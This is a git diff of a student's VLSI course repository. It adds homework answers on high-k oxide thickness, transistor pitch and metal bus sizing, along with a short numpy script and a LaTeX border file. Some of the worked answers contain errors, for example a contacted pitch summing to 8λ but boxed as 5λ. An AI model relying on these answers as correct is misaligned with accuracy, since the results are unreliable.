$t_{pd} = 556.43[\text{ps}]$
|
BIN
7th-Semester-Fall-2024/VLSI/exams/exam-1/exam-1.pdf
Normal file
BIN
7th-Semester-Fall-2024/VLSI/exams/exam-1/problem-1.pptx
Normal file
@ -0,0 +1,19 @@
|
||||
# Homework 5 - Aidan Sharpe
|
||||
|
||||
## Problem 1
|
||||
If the gate oxide thickness in a SiO$_2$-based structure is 2[nm], what would be the thickness of an HfO$_2$-based dielectric providing the same capacitance?
|
||||
|
||||
$k_\text{SiO2} = 3.9$
|
||||
|
||||
$k_\text{HfO2} = 20$
|
||||
$$2\text{[nm]} \frac{2.0}{3.9} = \boxed{10.26\text{[nm]}}$$
|
||||
|
||||
## Problem 2
|
||||
Using the SUBM rules, clculate the minimum uncontacted and contacted transistor pitch.
|
||||
|
||||
### Uncontacted
|
||||
|
||||
$\lambda + 3\lambda + \lambda = \boxed{5\lambda}$
|
||||
|
||||
### Contacted
|
||||
$\lambda + 2\lambda + 2\lambda + 2\lambda + \lambda = \boxed{5\lambda}$
|
BIN
7th-Semester-Fall-2024/VLSI/homework/homework-5/homework-5.pdf
Normal file
@ -0,0 +1,10 @@
|
||||
# Homework 9 - Aidan Sharpe
|
||||
|
||||
## Problem 1
|
||||
Find the best width and spacing to minimize the RC delay of a metal2 bus in a 180[nm] procecss if the pitch cannot exceed 960[nm]. Minimum width and spacing are 320[nm]. First, assume that neither adjacent bit is switching. How does your anwer change if the adjacent bits may be switching?
|
||||
|
||||
### Not Switching
|
||||
When the bits are not switching, the speed is dependent on minimizing $R$. $R$ is smallest when $w$ is largest. If $s$ must be at least 320[nm] and $s+w$ must be no more than 960[nm], then the largest $w$ can be is 640[nm]. Therefore, the optimal pair is $s=320$[nm] and $w=640$[nm].
|
||||
|
||||
### Switching
|
||||
When the bits are switching, the speed is dependent on minimizing the time constant $RC$. Estimating the value for $C$ from Figure 6.12, yields $s=480$[nm] and $w=480$[nm] to be optimal for minimizing the delay for switching bits.
|
BIN
7th-Semester-Fall-2024/VLSI/homework/homework-9/homework-9.pdf
Normal file
31
7th-Semester-Fall-2024/VLSI/homework/homework-9/optimal.py
Normal file
@ -0,0 +1,31 @@
|
||||
import numpy as np
|
||||
import matplotlib.pyplot as plt
|
||||
|
||||
w = np.array([320, 480, 640])
|
||||
C_s_320 = np.array([220, 230, 240])
|
||||
C_s_480 = np.array([165, 170, 175])
|
||||
C_s_640 = np.array([140, 145, 155])
|
||||
|
||||
R_s_320 = C_s_320/w
|
||||
R_s_480 = C_s_480/w
|
||||
R_s_640 = C_s_640/w
|
||||
|
||||
print(R_s_320)
|
||||
print(R_s_480)
|
||||
print(R_s_640)
|
||||
|
||||
|
||||
#eps_0 = 8.854E-12 # F/m
|
||||
#t_ox = 0.7E-6 # m
|
||||
#C_fringe = 0.05E-9 # F/m
|
||||
#w_min = 320E-9
|
||||
#
|
||||
#w = np.arange(w_min, 2.1*w_min, w_min/2)
|
||||
##s = 3*w_min - w
|
||||
#s = 640
|
||||
#
|
||||
#k_vert = 4.1
|
||||
#k_horiz = 3.9
|
||||
#
|
||||
#C_total = eps_0 * ( 2*k_vert*w/h + 2*k_horiz*t/s ) + C_fringe
|
||||
#print(C_total)
|
BIN
7th-Semester-Fall-2024/VLSI/labs/Lab1.pdf
Normal file
BIN
7th-Semester-Fall-2024/VLSI/labs/lab-2/Lab2.pdf
Normal file
18
7th-Semester-Fall-2024/VLSI/labs/lab-2/border.tex
Normal file
@ -0,0 +1,18 @@
|
||||
\pgfpagesdeclarelayout{boxed}
|
||||
{
|
||||
\edef\pgfpageoptionborder{0pt}
|
||||
}
|
||||
{
|
||||
\pgfpagesphysicalpageoptions
|
||||
{%
|
||||
logical pages=1,%
|
||||
}
|
||||
\pgfpageslogicalpageoptions{1}
|
||||
{
|
||||
border code=\pgfsetlinewidth{2pt}\pgfstroke,%
|
||||
border shrink=\pgfpageoptionborder,%
|
||||
resized width=.95\pgfphysicalwidth,%
|
||||
resized height=.95\pgfphysicalheight,%
|
||||
center=\pgfpoint{.5\pgfphysicalwidth}{.5\pgfphysicalheight}%
|
||||
}%
|
||||
}
|
After Width: | Height: | Size: 116 KiB |
After Width: | Height: | Size: 107 KiB |
After Width: | Height: | Size: 62 KiB |
After Width: | Height: | Size: 73 KiB |
BIN
7th-Semester-Fall-2024/VLSI/labs/lab-2/graphics/inverter-io.png
Normal file
After Width: | Height: | Size: 68 KiB |